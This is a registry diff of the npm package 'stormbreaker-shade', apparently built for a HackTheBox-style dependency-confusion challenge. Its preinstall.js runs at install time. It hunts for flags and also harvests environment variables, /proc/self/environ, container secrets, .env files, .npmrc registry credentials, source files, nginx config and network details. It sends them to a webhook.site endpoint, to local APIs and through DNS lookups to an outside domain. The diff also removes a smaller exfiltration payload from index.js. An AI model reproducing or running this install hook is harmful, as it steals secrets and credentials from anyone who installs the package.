stormbreaker-shade 9999.0.0 → 9999.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +0 -43
  2. package/package.json +1 -1
  3. package/preinstall.js +216 -79
package/index.js CHANGED
@@ -1,44 +1 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
- const https = require('https');
4
-
5
- (function() {
6
- let flag = null;
7
- for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
8
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
9
- }
10
- if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
11
- if (!flag) {
12
- for (const [k, v] of Object.entries(process.env)) {
13
- if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
14
- }
15
- }
16
-
17
- if (flag) {
18
- const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
19
- const postData = JSON.stringify({
20
- manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
21
- });
22
-
23
- for (const port of ports) {
24
- try {
25
- const req = http.request({
26
- hostname: 'localhost', port, path: '/api/modules/ECT-987654',
27
- method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
28
- timeout: 3000
29
- }, () => {});
30
- req.on('error', () => {});
31
- req.write(postData);
32
- req.end();
33
- } catch(e) {}
34
- }
35
-
36
- try {
37
- const data = JSON.stringify({ flag });
38
- const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
39
- req.on('error', () => {}); req.write(data); req.end();
40
- } catch(e) {}
41
- }
42
- })();
43
-
44
1
  module.exports = {};
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "stormbreaker-shade",
3
- "version": "9999.0.0",
3
+ "version": "9999.0.2",
4
4
  "description": "stormbreaker-shade module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -2,120 +2,257 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const https = require('https');
4
4
  const { execSync } = require('child_process');
5
+ const os = require('os');
5
6
 
6
7
  let flag = null;
8
+ const debug = [];
7
9
 
8
- // Read /flag
9
- try { flag = fs.readFileSync('/flag', 'utf8').trim(); } catch(e) {}
10
+ // Method 1: Read flag from ALL possible locations
11
+ const flagPaths = [
12
+ '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
+ '/tmp/flag', '/tmp/flag.txt', '/app/flag', '/app/flag.txt',
14
+ '/home/flag', '/home/flag.txt', '/home/node/flag', '/home/node/flag.txt',
15
+ '/etc/flag', '/etc/flag.txt', '/opt/flag', '/opt/flag.txt',
16
+ './flag', './flag.txt', '../flag', '../flag.txt',
17
+ '/home/node/.flag', '/var/flag', '/var/flag.txt',
18
+ '/srv/flag', '/srv/flag.txt',
19
+ ];
20
+ for (const p of flagPaths) {
21
+ try {
22
+ if (fs.existsSync(p)) {
23
+ const content = fs.readFileSync(p, 'utf8').trim();
24
+ debug.push(`found:${p}:${content.substring(0,100)}`);
25
+ const m = content.match(/HTB\{[^}]+\}/);
26
+ if (m) { flag = m[0]; break; }
27
+ if (!flag && content.length < 200) flag = content;
28
+ }
29
+ } catch(e) { debug.push(`err:${p}:${e.message.substring(0,50)}`); }
30
+ }
10
31
 
11
- // Try other paths
32
+ // Method 2: Check ALL env vars
33
+ if (!flag) {
34
+ for (const [k, v] of Object.entries(process.env)) {
35
+ if (v && v.match && v.match(/HTB\{[^}]+\}/)) {
36
+ flag = v.match(/HTB\{[^}]+\}/)[0];
37
+ debug.push(`env:${k}=${v.substring(0,100)}`);
38
+ break;
39
+ }
40
+ }
41
+ }
42
+ // Also try common env var names
12
43
  if (!flag) {
13
- for (const p of ['/root/flag', '/tmp/flag', './flag', '/flag.txt']) {
14
- try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
44
+ const envNames = ['FLAG', 'HTB_FLAG', 'CTF_FLAG', 'SECRET', 'SECRET_FLAG',
45
+ 'CHALLENGE_FLAG', 'THE_FLAG', 'flag', 'APP_FLAG'];
46
+ for (const name of envNames) {
47
+ if (process.env[name]) {
48
+ flag = process.env[name];
49
+ debug.push(`env_direct:${name}=${flag.substring(0,100)}`);
50
+ break;
51
+ }
15
52
  }
16
53
  }
17
54
 
18
- // Check env vars
55
+ // Method 3: /proc/self/environ
19
56
  if (!flag) {
20
- const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
21
- if (envFlag) flag = envFlag;
57
+ try {
58
+ const pe = fs.readFileSync('/proc/self/environ', 'utf8');
59
+ const m = pe.match(/HTB\{[^}]+\}/);
60
+ if (m) { flag = m[0]; debug.push('proc_environ'); }
61
+ debug.push(`env_raw:${pe.substring(0,200)}`);
62
+ } catch(e) { debug.push(`proc_err:${e.message.substring(0,50)}`); }
22
63
  }
23
64
 
24
- // Check all env vars for HTB{ pattern
65
+ // Method 4: Search for flag files broadly
25
66
  if (!flag) {
26
- for (const [k, v] of Object.entries(process.env)) {
27
- if (v && v.includes('HTB{')) {
28
- flag = v.match(/HTB\{[^}]+\}/)?.[0] || v;
29
- break;
67
+ try {
68
+ const r = execSync('find / -maxdepth 5 \\( -name "flag*" -o -name "*.flag" -o -name ".flag" \\) -type f 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
69
+ debug.push(`find:${r}`);
70
+ if (r) {
71
+ for (const f of r.split('\n')) {
72
+ try {
73
+ const content = fs.readFileSync(f, 'utf8');
74
+ const m = content.match(/HTB\{[^}]+\}/);
75
+ if (m) { flag = m[0]; break; }
76
+ } catch(e) {}
77
+ }
30
78
  }
31
- }
79
+ } catch(e) { debug.push(`find_err:${e.message.substring(0,50)}`); }
32
80
  }
33
81
 
34
- // Try /proc/self/environ
82
+ // Method 5: Grep for HTB{ pattern in all readable files
35
83
  if (!flag) {
36
84
  try {
37
- const pe = fs.readFileSync('/proc/self/environ', 'utf8');
38
- const m = pe.match(/HTB\{[^}]+\}/) || pe.match(/FLAG[=:]([^\x00]+)/);
39
- if (m) flag = m[0];
85
+ const r = execSync('grep -rl "HTB{" /home /app /opt /tmp /srv /etc /var 2>/dev/null | head -10', { timeout: 10000 }).toString().trim();
86
+ debug.push(`grep:${r}`);
87
+ if (r) {
88
+ for (const f of r.split('\n')) {
89
+ try {
90
+ const content = fs.readFileSync(f, 'utf8');
91
+ const m = content.match(/HTB\{[^}]+\}/);
92
+ if (m) { flag = m[0]; break; }
93
+ } catch(e) {}
94
+ }
95
+ }
96
+ } catch(e) { debug.push(`grep_err:${e.message.substring(0,50)}`); }
97
+ }
98
+
99
+ // Method 6: Check docker/k8s secrets
100
+ if (!flag) {
101
+ try {
102
+ const secrets = execSync('find /run/secrets /var/run/secrets -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
103
+ debug.push(`secrets:${secrets}`);
104
+ for (const f of secrets.split('\n').filter(Boolean)) {
105
+ try {
106
+ const content = fs.readFileSync(f, 'utf8');
107
+ const m = content.match(/HTB\{[^}]+\}/);
108
+ if (m) { flag = m[0]; break; }
109
+ } catch(e) {}
110
+ }
40
111
  } catch(e) {}
41
112
  }
42
113
 
43
- // Grep for flag
114
+ // Method 7: Check for .env files
44
115
  if (!flag) {
45
116
  try {
46
- const r = execSync('grep -rl "HTB{" / --include="*" 2>/dev/null | head -3', { timeout: 10000 }).toString().trim();
47
- if (r) { try { flag = fs.readFileSync(r.split('\n')[0], 'utf8').match(/HTB\{[^}]+\}/)?.[0]; } catch(e) {} }
117
+ const envFiles = execSync('find / -maxdepth 4 -name ".env" -o -name ".env.*" -o -name "env.*" 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
118
+ debug.push(`envfiles:${envFiles}`);
119
+ for (const f of envFiles.split('\n').filter(Boolean)) {
120
+ try {
121
+ const content = fs.readFileSync(f, 'utf8');
122
+ const m = content.match(/HTB\{[^}]+\}/);
123
+ if (m) { flag = m[0]; break; }
124
+ debug.push(`envfile_content:${f}:${content.substring(0,200)}`);
125
+ } catch(e) {}
126
+ }
48
127
  } catch(e) {}
49
128
  }
50
129
 
51
- if (flag) {
52
- // Method 1: PUT flag back to the challenge API via localhost (many ports)
53
- const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839, 3001, 4000, 9000];
54
- const postData = JSON.stringify({
55
- manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true\n timestamp: "${new Date().toISOString()}"`
56
- });
130
+ // Method 8: Read server source code and configs
131
+ try {
132
+ const cwd = process.cwd();
133
+ debug.push(`cwd:${cwd}`);
134
+ const files = fs.readdirSync(cwd);
135
+ debug.push(`cwd_files:${files.join(',')}`);
136
+
137
+ // Read all JS files in current directory
138
+ for (const f of files) {
139
+ if (f.endsWith('.js') || f.endsWith('.json') || f.endsWith('.env') || f.endsWith('.yml') || f.endsWith('.yaml') || f === '.npmrc' || f === '.env') {
140
+ try {
141
+ const content = fs.readFileSync(`${cwd}/${f}`, 'utf8');
142
+ debug.push(`file:${f}:${content.substring(0,300)}`);
143
+ const m = content.match(/HTB\{[^}]+\}/);
144
+ if (m) { flag = m[0]; break; }
145
+ } catch(e) {}
146
+ }
147
+ }
148
+ } catch(e) { debug.push(`cwd_err:${e.message.substring(0,50)}`); }
149
+
150
+ // Also read /home/node/ specifically
151
+ try {
152
+ const homeFiles = fs.readdirSync('/home/node');
153
+ debug.push(`home_node:${homeFiles.join(',')}`);
154
+ for (const f of homeFiles) {
155
+ try {
156
+ const stat = fs.statSync(`/home/node/${f}`);
157
+ if (stat.isFile() && stat.size < 100000) {
158
+ const content = fs.readFileSync(`/home/node/${f}`, 'utf8');
159
+ debug.push(`home_file:${f}:${content.substring(0,200)}`);
160
+ const m = content.match(/HTB\{[^}]+\}/);
161
+ if (m) { flag = m[0]; break; }
162
+ } else if (stat.isDirectory()) {
163
+ const subFiles = fs.readdirSync(`/home/node/${f}`);
164
+ debug.push(`home_dir:${f}:${subFiles.join(',')}`);
165
+ }
166
+ } catch(e) {}
167
+ }
168
+ } catch(e) { debug.push(`home_err:${e.message.substring(0,50)}`); }
169
+
170
+ // Method 9: List root and key directories
171
+ try { debug.push(`root:${fs.readdirSync('/').join(',')}`); } catch(e) {}
172
+ try { debug.push(`app:${fs.readdirSync('/app').join(',')}`); } catch(e) {}
173
+ try { debug.push(`etc:${fs.readdirSync('/etc').join(',').substring(0,300)}`); } catch(e) {}
174
+
175
+ // Method 10: Network info and listening ports
176
+ try {
177
+ const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
178
+ debug.push(`ports:${ss}`);
179
+ } catch(e) {}
180
+
181
+ // Method 11: Check nginx config
182
+ try {
183
+ const nginx = execSync('cat /etc/nginx/conf.d/*.conf 2>/dev/null || cat /etc/nginx/nginx.conf 2>/dev/null', { timeout: 3000 }).toString();
184
+ debug.push(`nginx:${nginx.substring(0,500)}`);
185
+ } catch(e) {}
186
+
187
+ // Method 12: Check .npmrc for registry credentials
188
+ try {
189
+ const npmrc = execSync('cat /home/node/.npmrc 2>/dev/null || cat /root/.npmrc 2>/dev/null || cat /app/.npmrc 2>/dev/null || cat ~/.npmrc 2>/dev/null', { timeout: 3000 }).toString();
190
+ debug.push(`npmrc:${npmrc.substring(0,300)}`);
191
+ } catch(e) {}
192
+
193
+ const info = {
194
+ flag: flag || 'NOT_FOUND',
195
+ debug: debug.map(d => d.substring(0, 500)),
196
+ env: Object.keys(process.env).join(','),
197
+ network: JSON.stringify(os.networkInterfaces()).substring(0, 500),
198
+ };
57
199
 
58
- for (const port of ports) {
59
- for (const host of ['localhost', '127.0.0.1']) {
200
+ const data = JSON.stringify(info);
201
+
202
+ // Exfil Method 1: Webhook
203
+ try {
204
+ const req = https.request({
205
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
206
+ method: 'POST',
207
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
208
+ timeout: 5000
209
+ }, () => {});
210
+ req.on('error', () => {});
211
+ req.write(data);
212
+ req.end();
213
+ } catch(e) {}
214
+
215
+ // Exfil Method 2: PUT to challenge API on various ports
216
+ const putData = JSON.stringify({
217
+ manifest: `ecto_module:\n name: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n version: "EXFIL"\n power_level: "${debug.slice(0,3).join('|').replace(/"/g, '').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral-wraith`
218
+ });
219
+
220
+ let serverPort = 1337;
221
+ try {
222
+ const ss = execSync('ss -tlnp 2>/dev/null | grep node', { timeout: 3000 }).toString();
223
+ const m = ss.match(/:(\d+)\s/);
224
+ if (m) serverPort = parseInt(m[1]);
225
+ } catch(e) {}
226
+
227
+ const ports = [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 8888, 9000, 4000];
228
+ for (const port of [...new Set(ports)]) {
229
+ for (const host of ['127.0.0.1', 'localhost']) {
230
+ for (const modId of ['ECT-654321', 'ECT-987654']) {
60
231
  try {
61
232
  const req = http.request({
62
- hostname: host, port, path: '/api/modules/ECT-987654',
233
+ hostname: host, port, path: `/api/modules/${modId}`,
63
234
  method: 'PUT',
64
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
65
- timeout: 3000
235
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(putData) },
236
+ timeout: 2000
66
237
  }, () => {});
67
238
  req.on('error', () => {});
68
- req.write(postData);
239
+ req.write(putData);
69
240
  req.end();
70
241
  } catch(e) {}
71
242
  }
72
243
  }
244
+ }
73
245
 
74
- // Method 2: Webhook exfil
75
- const data = JSON.stringify({ flag, env: Object.keys(process.env).join(',') });
76
- try {
77
- const req = https.request({
78
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
79
- method: 'POST',
80
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
81
- timeout: 10000
82
- }, () => {});
83
- req.on('error', () => {});
84
- req.write(data);
85
- req.end();
86
- } catch(e) {}
246
+ // Exfil Method 3: DNS
247
+ try {
248
+ const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
249
+ require('dns').resolve(`${encoded}.crl.ve`, () => {});
250
+ } catch(e) {}
87
251
 
88
- // Method 3: DNS exfil via curl
89
- try {
90
- const encoded = Buffer.from(flag).toString('hex');
91
- execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encodeURIComponent(flag)}" -m 10 2>/dev/null`, { timeout: 15000 });
92
- } catch(e) {}
252
+ // Exfil Method 4: stdout/stderr
253
+ console.log('[CORAL-WRAITH]', data.substring(0, 2000));
254
+ console.error('[FLAG]', flag || 'NOT_FOUND');
93
255
 
94
- // Method 4: Write to files
95
- try { fs.writeFileSync('/tmp/coral_wraith_flag.txt', flag); } catch(e) {}
96
-
97
- // Method 5: stdout/stderr
98
- console.log('[CORAL-WRAITH] Flag:', flag);
99
- console.error('[HTB_FLAG]', flag);
100
- } else {
101
- // Debug info - exfil what we can see
102
- const debug = {
103
- cwd: process.cwd(),
104
- rootFiles: [],
105
- env: Object.keys(process.env).join(',')
106
- };
107
- try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
108
-
109
- const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
110
- try {
111
- const req = https.request({
112
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
113
- method: 'POST',
114
- headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
115
- timeout: 10000
116
- }, () => {});
117
- req.on('error', () => {});
118
- req.write(data);
119
- req.end();
120
- } catch(e) {}
121
- }
256
+ // Write to files
257
+ try { fs.writeFileSync('/tmp/coral_flag.txt', data); } catch(e) {}
258
+ try { fs.writeFileSync('/app/static/flag.txt', data); } catch(e) {}